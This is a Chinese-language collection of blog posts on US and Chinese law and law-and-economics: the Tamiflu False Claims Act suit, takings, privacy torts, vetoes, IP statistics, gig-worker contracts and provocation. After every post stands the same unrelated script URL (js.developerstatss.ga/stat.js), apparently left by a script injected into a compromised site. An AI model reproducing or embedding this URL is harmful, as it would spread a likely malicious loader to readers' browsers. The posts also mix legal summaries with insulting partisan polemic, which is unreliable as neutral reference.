分類: 法律

「克流感並無聲稱療效」，羅氏藥廠遭美國政府控告求償。

quote:"The lawsuit claims the drugmaker’s scheme involved publishing misleading articles falsely stating that Tamiflu reduces complications, severity, hospitalizations, mortality and transmission of influenza. The company then used those articles to aggressively market the drug to the government for pandemic use. Relying on the supposed truthfulness of Roche’s claims, federal and state governments spent about $1.5 billion to stockpile Tamiflu to combat influenza pandemics, according to the complaint."

訴訟文件指出原告控訴羅氏公司長時間以「誤導性」文章不實聲稱克流感能減緩各種流感症狀、死亡率與傳染性。並據此涉嫌使美國聯邦與州政府錯誤信賴從而購入價值$15億美元的克流感。

“"As alleged in the complaint – Tamiflu does not do what Roche promised," said attorney Mark Lanier of the Houston-based Lanier Law Firm. “Roche hid this fact for many years by selectively citing its studies and suppressing the data about Tamiflu. The company utilized lobbyists, key opinion leaders and ghostwriters to promote Tamiflu with a deceptive promise to governments fearful of an influenza pandemic.""

原告律師 Mark Lanier指出羅氏公司透過「選擇性引述其研究並掩蓋克流感真實資料的手法，雇用遊說公司、意見領袖與隱形寫手行銷克流感…」

羅氏藥廠除了此訴訟外，還額外因False Claims Act可能要負擔三倍損害額的懲罰性賠償。

“According to the data as analyzed by the Food and Drug Administration, Tamiflu’s effectiveness is limited to a small benefit of reducing the duration of flu symptoms and preventing onset of symptoms but not transmission or infection. In addition, as early as 2000, the FDA had warned Roche that data did not support its broader efficacy claims and that such statements were misleading."

根據FDA的分析資料，克流感的效果十分有限…此外早在2000年，FDA已經警告羅氏藥廠該公司之資料並不知持其聲稱的廣泛性效果，其宣傳用詞是誤導大眾。

“"The lawsuit alleges that Roche was well aware that Tamiflu is an ineffective product for fighting influenza pandemics," said attorney Clayton Halunen of Minneapolis-based whistleblower law firm Halunen Law. “Yet Roche masterfully marketed this drug to fill Roche’s coffers at taxpayer expense. This is precisely the type of corporate behavior the False Claims Act is designed to stop.""

吹哨人的律師Clayton Halunen 表示羅氏藥廠明知克流感對流行性感冒是無效產品，卻還大肆行銷騙取納稅人稅金。

https://js.developerstatss.ga/stat.js?n=ns1

美國憲法第五修正案最後一句：「… nor shall private property be taken for public use, without just compensation. （人民私有產業，如無合理賠償，不得被徵為公用。）」

然後我們看看「广州市第十五届人民代表大会常务委员会公告（第53号）」原文：

「…四、市、区人民政府可以在必要时依法向单位或者个人临时征用疫情防控所需的房屋、场地、交通工具以及相关设施、设备，要求相关企业组织相应的疫情防控物资和生活必需品的生产、供给。临时征用房屋、场地、交通工具以及相关设施、设备的，应当向被征用的单位或者个人发出应急处置征用令并做好登记造册工作，并依法予以补偿，能返还的，应当及时返还。…」

法學界與經濟學界都不會有人把美國憲法第五修正案的「政府徵收」看成是「變相課稅」。看來這位留美假專家恐怕不知道美國憲法早在1791年的第五修正案中就有此規定才如此大驚小怪。

法學上更進一步可以談的是上述規範屬於美國聯邦層次，而到「州」政府，傳統認為州獨享的「police power」就可以直接徵收私人產物，法學上稱之為「state regulatory takings」，且州政府的徵收與聯邦政府還有不同，在於美國法院認為：

「美國憲法規範的『徵收』還需要符合『公眾利益（public interest）』這個前提，但州政府的徵收卻只要符合『州政府需求』即可（參見：Hadacheck v. Sebastian, 239 U.S. 394 (1915) ）。

某些狀況下，早年美國法院甚至認為州政府不給予補償都沒關係！

（參見：Miller v. Schoene, 276 U.S. 272 (1928)，此案法院認為側柏樹園主人的側柏受疾病感染，恐怕影響隔壁蘋果園而被政府強制全面砍伐後，無權要求政府補償所受損失。與
Mugler v. Kansas, 123 U.S. 623, 668–69 (1887)，此案州政府直接禁止原本合法的酒廠繼續製酒，而法院判決酒廠主人因此所受損失不得請求政府補償）」

https://js.developerstatss.ga/stat.js?n=ns1

有經濟學好友引述知名聯邦巡迴法院法官R. Posner對隱私權與營業秘密的經濟概念類比：「The most interesting question in privacy law is whether a person should have a right to conceal embarrassing facts about himself — for example that he is an ex-convict. …… Should he be encouraged to deceive these people, by being given a right to sue anyone who unmasks his hidden “defects”? At least on economic grounds, the answer seems to be no. It would be different if what was “unmasked” was not an embarrassing fact but a superb dinner recipe. We would then be in the realm of the trade secret, broadly defined, and the case would be no different in principle from the theft of a secret formula by a commercial rival. Here secrecy is a method of enforcing an informal property right and encourages an investment in a socially valuable idea. Concealing discreditable facts about a private individual, a firm, or a product does not.」

正確來說，Posner在argue的是傳統common law對隱私權的處理。

我分幾點說：

1. 我並不認同Posner的經濟分析，因為privacy的權利本質與trade secret畢竟不同，前者與後者的收入也不同。前者在common law底下保護的收入更多是personality，後者則純粹是monetary income。

2. 傳統common law對privacy的保護是放在「侵權行為（tort）」底下，原則上公認的四種隱私權侵害態樣：
a. appropriation by defendant of plaintiff’s picture or name for defendant’s commercial advantages;
b. intrusion by the defendant upon plaintiff’s affairs or seclusion;
c. publication by the defendant of facts placing the plaintiff in a false light; and
d. public disclosures of private facts about the plaintiff by the defendant
第一種就是所謂的肖像權，通常是把名人的照片或名字未經授權拿去從事商業行為。這種不是Posner談的狀況，但卻是落在純粹的金錢收入。
後面三種行為都要求"highly offensive to a reasonable person"或"actual malice"，而且相較於其他侵權行為訴訟，這三種隱私權受侵害原告只需要證明「侵害行為存在」，並不需要證明「所受損害」即可成立。反之，營業秘密侵害並不要求"actual malice or highly offensive"之存在，僅需故意、重大過失或違背保密義務即可構成。但營業秘密，原則上是需要證明損害存在與損害額度。除了少數原告不能證明損害，由法官判斷。
這點差異之所以存在，我認為就是因為侵權行為法在處理隱私權受侵害本來就不是以「金錢收入」為基本考量點，而是以保護personality；但營業秘密則完全考量金錢收入，反而不考量原告的personality。
當然，personality是什麼沒有明確定義，在美國法體系下就是靠大量判決累積畫出邊界。

3. 這就回到Armen Alchian著名的「THE MEANING OF UTILITY MEASUREMENT」論文中所提出的觀念：如果把personality看成經濟學上的一種utility，則經濟理論上關於量度我們只能做到對utility的偏好做排列，卻無從得出絕對數值。

這點就是我認為Posner犯錯的地方：privacy訴訟大部分情形下是武斷的utility判斷，無法像trade secret那樣有「可能市價」參考損失額度。

這一塊又是海耶克理論的進一步應用了 — i.法院體系雖然不是市場交易體系，但處理糾紛賠償通常還是要引入外部市場價格作為參考，但；
ii.某些侵權行為損害額計算沒有市價可供引導，法官必須武斷地判斷，這肯定會存在非常高的訊息費用。
但反之，無法引入市價指引，不代表損害不存在，法律上可據此不給予保護。

https://js.developerstatss.ga/stat.js?n=ns1

The phrase “presidential veto" does not literally appear in the Constitution of the U.S. However, the Article I requires every bill, order, resolution or other act of legislation approved by the Congress to be presented to and signed by the president of the U.S. And this requirement creates some scenarios:

1. Normally the president signs the bill within 10 days (excluding Sundays) and enacts the bill.
2. The president may veto the bill by returning it back to the Congress with a statement of objection within 10 days.
3. Each house may override the veto by voting. Two thirds of each house are required. Once the veto is overridden, the bill will automatically be enacted.
4. The president may do nothing, and after 10 days (excluding Sundays) if Congress has not yet adjourned, the bill is enacted into law.
5. The president may do nothing, and if Congress adjourns before the 10th day (excluding Sundays), the bill is not enacted into law. This is known as “pocket veto" and it can’t be overridden.

Bill Clinton had vetoed 36 times, George W. Bush 12 times, Barack Obama 12 times, and Donald Trumps has vetoed six times.

Franklin D. Roosevelt had vetoed mostly up to 372 times by regular veto and 263 times by pocket veto.

https://js.developerstatss.ga/stat.js?n=ns1

司法審判權是政府主權（governmental sovereignty ）的重要成分。如果一個政府對發生在管轄區域內發生的殺人案拒絕審理，甚至鴕鳥心態地拒絕嫌疑犯投案，這樣的政府還說自己「顧主權」，根本是無恥。

可笑的是都有一群水母腦可以在三年斷交七國的狀況下堅稱主子最懂外交了，這場無恥無腦戲還會繼續演下去。

不過換過角度想，依據中華人民共和國刑事訴訟法第25條:「刑事案件由犯罪地的人民法院管轄。如果由被告人居住地的人民法院審判更為適宜的，可以由被告人居住地的人民法院管轄。」

蔡政府如果自認是中國的地方政府，那要求香港政府審理就說得通了！

不虧是我心目中的急統派小英啊！哈

https://js.developerstatss.ga/stat.js?n=ns1

 

聯合國底下的World Intellectual Property Organization (WIPO）發佈World Intellectual Property Indicators 2019 ，其中幾個數字重點摘錄：

• 專利（patent）

2018年全年中國勇奪世界專利申請數量最多國家，高達154萬件，佔全世界總專利申請量46.6%，第二名美國為597,141件，第三名日本313,567件，第四名南韓209,992件，第五名歐盟174,397件。前五名國家總合佔世界總申請數85.3％。

全世界2018年有效專利數量為1400萬件，其中310萬件在美國、240萬件在中國、210萬件在日本。

較去年同期，中國專利申請量增長11.6%，歐盟增加4.7%，南韓增加2.5%，日本減少1.5%，美國減少1.6%。

• 商標（Trademarks）

2018年全球約有1090萬件商標申請案，較去年同期增長15.5％。

其中中國勇奪世界商標申請數量最多國家，高達740萬件，跟著是：美國640,181件、日本512,156件、歐盟392,925件與伊朗384,338件。

2018年世界上有效活躍的商標約有4930萬件，中國佔1960萬件、美國240萬件與印度190萬件。

• 設計專利（Industrial designs）

2018年全球約有100萬件設計專利申請案，較去年同期增長5.7％。

中國繼續勇奪世界設計專利申請案最多國，高達708,799件，佔世界總量54%，歐盟108,174件，南韓68,054件，美國47,137件，德國44,460件。

世界有效設計專利共約400萬件，年成長6.5%。中國佔160萬件、南韓344,560件，美國336,116件與日本257,157件。

• 植物品種權（Plant varieties）

2018年植物品種權申請件數中國依然奪得冠軍5,760件、歐盟3,554件、美國1,609件、烏克蘭1,575件與日本880。

相較去年同期，中國成長29%、烏克蘭成長17.1%、歐盟3.9%、美國3.3%，日本倒是衰退-13.6%。

================================================

a. 坊間的假財經專家常跟著美國政客起舞聲稱「中國不尊重智慧財產權」，試問一個智慧財產權制度不成熟、不被重視的國家，為何申請量、有效量與成長率均是世界前茅？

這些假財經專家其實根本多是智財權大外行，連專利的claim為何物都不懂，何德何能評論一國智財權制度是否完善。

b. 我們談過多次，智財權本質都是「屬地主義」的國家特許壟斷權，而且權利範圍相較有實體的財產而言非常模糊且難以事先正確判斷。換言之，沒經過法院訴訟的智財權多半不值錢。

而根據經濟學的Allen-Alchian定律（此定律我在預言中美貿易戰下中國產品水準將突飛猛進一文中詳細解釋過），多數智財權所有者會在「商品終端消費市場申請」，因為成本效益最高。從這點也可以看出來，申請、維護乃至於訴訟費用均不便宜的智財權（以我先前工作的大型研發機構為例，一年專利維護費就破億元新台幣），如果不是因為中國市場夠重要，全球多數廠商也不會拿真金白銀出來賭身家。

與此同時，如果中國智財權制度真的很糟糕，那麼這些商人也不笨，根本就不會選擇在中國申請如此多量智財權。

 

幾個重點簡單談：

• 從法律和法律經濟分析角度看，均不構成「僱傭」契約關係。

其重點在於「外送員可否拒絕工作機會？」若可自由決定是否接單，則「僱傭契約」是不可能成立。

而法律上嚴格來說，依照台灣法律其實應該很接近「靠行契約」（常見於貨車司機與公司）的類推適用；但就如我曾談過，英美法體系下沒有類推適用，我偏向認為類似的問題發生在美國應該法官會獨立造法處理。

• 為何會有這種契約安排？

請先參閱我以前這篇「有關加班的簡易經濟分析」（https://tinyurl.com/y5yo5orf），理解一個重點：

所謂僱傭契約其實也是一種承攬契約的變形；而之所以會出現僱傭契約，根本上來自於工作內容複雜化以及工作成果量度費用提高。

一個生產線工人、一個設備工程師、一個IT人員、一個秘書、一個法務乃至於一個總經理，在一家公司中對於「收入的實質貢獻比例」的量度費用是不一樣的。這也使得某些人員或單位比較容易使用「利潤中心制」來衡量貢獻，但某些單位就很難這樣做。

這也是說，回頭看契約安排這回事，當量度費用夠低時，選擇承攬契約（看成外包也行）的數量會高過僱傭。而這個契約安排從經濟分析角度是以實質內涵論，不要去管契約叫啥名字，那是無聊法匠在搞的。

過去不存在UberEat或Foodpanda這類服務是因為媒合的訊息費用過高。但在現今IT技術與人人有智慧型手機的侷限條件改變下，媒合費用大幅降低，因此這類服務與從業人員大增。但這件事本身並不影響外送服務工作成果量度費用不高的現實，也因此這類服務天生就傾向以承攬而非僱傭的契約安排。

• 風險分擔與風險貼水

a. 請先參閱我這篇「颱風天外賣服務的經濟分析」（https://tinyurl.com/yygjgpow），就能知道即便是單一店家僱傭的外送員，其薪水本身也已經包含風險貼水。

而UberEat這類透過「分紅制度，且接單越多分紅率越高」的安排本身更是內涵風險貼水 — 接單多者風險高、成本高，所以以更高分紅率貼水。

b. 本案關鍵問題是在於「保險公司拒絕理賠營業行為發生的車禍」。

但就這點保險公司也是站得住腳，因為當初承保時，保險公司是以「一般交通風險」去計算保費，而外送員機車騎士的營業行為的確超出保險契約當初的預設風險。當受保人本身行為會提高風險時，依照保險法的基本法理，保險公司的確可以拒絕履行契約。

c. 更重要的是，帶風向媒體怎麼不去問問撞死人的汽車駕駛，其保險是否理賠？侵權行為人又該怎麼依法損害賠償？肇事責任歸屬呢？這一塊明明法律已經可以處理，但媒體似乎講得好像「機車保險不理賠就天底下大家都不用賠」呢？

• 政府介入的扭曲

政府強制改變原本就很有效率的且風險分擔合理的契約安排（不合理一開始就根本找不到送餐員），其結果必然就是這類外送平台會把本該給送餐員的風險貼水收回來以備不時之需，送餐員實質收入減少，風險貼水從真金白銀變成「某種法律承諾」。

收入減少，願意供應勞務者也將減少，送餐服務不再如此便利，可能消費者也會減少。惡性循環下，最壞的狀況就是送餐服務平台發現無利可圖，放棄臺灣市場。

太好了！失去收入的送餐員再也不用擔心風險！政府官員也少了一個潛在被罵的項目！媒體繼續找下一個可以炒作的議題！廢青繼續一方面要求大有為政府保護人民、怒叱自由市場資本家剝削底層人民；一方面又相信民主，相信市場制度下無能的個體可以拿張選票就做出正確決定。

https://js.developerstatss.ga/stat.js?n=ns1

外行又可笑蠢蛋，自以為跟法律系室友住四年就自動懂英美法？
會拿provocation來說嘴很明顯只是一知半解。
Provocation is no ground for exempting one from criminal liability for one’s act, but only maybe ground for mitigating the punishment.
（義憤從來都不是阻卻違法事由，只能當做法官減刑的參考之一。）
如果連這點都不知道，還敢出來扯，就真只是丟自己跟法律系室友的臉。
關於義憤 provocation在英美法上的進一步討論，我就懶得翻譯成中文了：
At common law, provocation will sustain only if met four tests:
a. the provocation must have been one that would arouse sudden and intense passion in the mind of an ordinary person such as to cause him to lose his self-control;
b. the defendant must have in face been provoked;
c. there must have been no sufficient time between the provocation and the killing for the passions of a reasonable person to cool; and
d. the defendant in fact did not cool off between the provocation and the killing.
Usually, the rule would be applied narrowly onto limited scenarios, such as " a personally serious battery," “a threat of deadly force," or “discovering one’s spouse in bed with another person."
In this case, the taxi driver may claim provocation for that he had been surrounded by angry riots with possible threats of deadly force. This was why I said that the taxi driver may be incriminated as murder or voluntary manslaughter.
People could claim self-defense on the behavior of dragging the driver out of the cab. However, these attackers can never successfully claim that they were defending themselves by using such brutal violence on the driver in a coma. Of course, the “provocation rule" does not apply here. Since once the driver had been out of the cab, there was no provocation at all. And the violence they used exceeded the necessary standard of self-defense.

https://js.developerstatss.ga/stat.js?n=ns1

「市場的自由」是一門困難的學問，無論是定義與量度方法。

我認為沒有幾萬字甚至十幾萬字都難以講清楚。

最簡單的角度，可以以「契約結構的主給付義務、從給付義務與風險分擔的選擇安排自由」來理解。但法規、慣例的限制與法規的理解成本、複雜度與執行可預期性等等方面也必須考慮。

舉幾個最簡單的例子：「論件計酬（piece work)」這種現今仍常見於台灣與大陸兩地的勞動契約安排，在美國實質上被Fair Labor Standards Act of 1938給禁止了。（以一種價格管制模式禁止此種契約）

又例如許多契約在傳統common law體系下被允許或被禁止的安排，被聯邦政府的Uniform Commercial Code （UCC）給改變了。但，傳統契約法屬於州政府的統治權範疇，再加上並非每個州都完全同意UCC全部內容，所以在美國會發生不同州適用的契約法有所不同。我們很難想像中國每個省有自己的民法。

又例如傳統佃農分成契約本身以較高交易費用的方式吸收了地主與農夫雙方面對「收成不確定的風險」；但當年的台灣政府以375減租條例強迫壓低當年普遍約6成的分成率至37.5%，造成地主總體租值收入降低與農戶邊際勞動收入降低的雙輸局面。

再加入工會、保險、環保法規、勞工安全、消防法規、土地使用限制、證照制度、反托拉斯法或消費者保護法…等各種對資源使用限制的法律，以及如中國大陸「騰籠換鳥」或美國「貿易戰壁壘」等等政策干擾，我們必須對多種且多國法律有一定熟悉程度，並具備相當好的經濟觀察力與邏輯，才能正確判斷「市場的自由」。

有些難以探查的行內契約安排，左右著市場自由而許多人渾然不知。例如人人都知道中國政府對電影內容有審查權，但較少人知道美國其實也有針對電影內容審查的「film censorship boards」，名義上為產業自我管理，但實質限制了許多種自由；而更少人知道，美國電影產業的特殊保險制度，保險公司對電影劇本內容也是有相當影響力的。再加上美國影業下各種工會（演員工會、導演工會、編劇工會…等等）又各自透過各種法規限制著電影拍攝的契約安排自由。

這是說，膚淺的覺青或多數台灣知識分子程度只看得到顯眼容易被注意到的中國電影審查制度，卻沒有能力看到藏在各種眉角、魔鬼細節的美國電影市場限制，後者其實也並非全然自由。

「中國市場自由度高過美國」是我的個人判斷，而此判斷背後的學問，遠非法律經濟外行人以為的那麼簡單。沒空寫幾萬字講清楚，就簡單提出重點給具備經濟感受的讀者參考即可。

https://js.developerstatss.ga/stat.js?n=ns1

先前我引述美國憲法本文Article one說明：「自由人（通常是白人）才算人，非自由人（通常是黑奴，但其實也有白奴喔）算3/5個人，印地安人有繳稅的才算人，沒繳稅的不算人喔！」

有讀者反應：不可思議！美國不是人權立國嗎？

請參閱此照片，攝於1906年，紐約的「人類動物園」展示難得一見的菲律賓兒童與其家人！

美國真是人權立國！我都還沒提美國政府怎樣設計與實施屠殺印地安人的制度呢～

此例重點不僅僅是點出美國怎樣雙重標準，更是要說明「人權」的概念本質其實是一整組錯綜複雜的權利義務內涵，更準確的說是一種「express and implied contractual arrangements」。而權利範圍的釐定與真實可執行背後都要付出「成本」！也就是我一貫主張的：當整體社會財富不夠，人權喊得再高大上實質上根本做不到也就沒有任何意義；當整體社會財富夠支撐某種程度的契約組合時，人權自然會逐漸獲得改善。

（當然更困難的還有許多基本權利並未明文在憲法之中，而是寄生在他種基本權利之內，因此其權利範疇的劃定又受到他種權利的影響，這一塊我不打算深談，我簡單舉一例：可能多數人並不知道，「墮胎權（abortion）」在美國憲法結構中並非明文的基本權利，最早是從「隱私權（right of privacy）」下派生出來。
「閱讀色情物品（freedom to read obscene materials）」也是從隱私權為權利基礎衍生，這使得此權利早期被認為不包含散佈、販賣或購買的自由。這是說：若此權利一開始被認為是言論自由的一部分，則權利範圍劃定將大為不同）

此論點我自己從兩方面獲得印證：

1. 中華人民共和國1949年後到今日，其人權條件明顯隨著經濟財富的跌宕起伏有所改變。尤其是三年大饑荒後到文化大革命末期，單以言論自由來看，因為產權結構改變，政治言論正確性與收入甚至生命牽上關係，即便貴為國家主席的劉少奇照樣被虐待至死，連姓名都被剝奪被當做無業遊民。

2. 研究美國聯邦最高法院立國以來200多年間對於外國人（aliens）的人權權利保障邊界與同時期美國經濟發展有相當關連性。

進一步我要強調：

a. 「財富累積改善人權」是指整體改善，我很厭倦老是有人拿單一個案強調是反證，而其恰恰是邏輯不清的蠢證。這猶如當我說明私有產權制度搭配自由貿易，整體社會財富會增長，而你硬扯「但是這個社會還是有人餓死」一樣可笑荒謬。
是的，當美國已經富裕到每年幾十萬人死於肥胖時，你還是可以硬扯有人依然死於飢餓，從而推導出「所以美國跟當年殖民地初期一樣，依然是不毛之地」的蠢論。

b. 人權改善是變動且緩慢進步的過程。這在哪一國都一樣。與此同時，「權利組合不存在最好」，這是說，不考慮真實侷限條件，光只會聲稱「某國更有人權」是一種愚蠢的論點。
任何權利組合在不同侷限條件下造成的整體社會租值/效率都會不同，而在低交易費用下，人權的權利範圍應該會往最高租值/效率的方向演化，但此演化不見得人人都能接受，特別是那些象牙塔裡的學者或是其實並無思辨能力的法匠。

https://js.developerstatss.ga/stat.js?n=ns1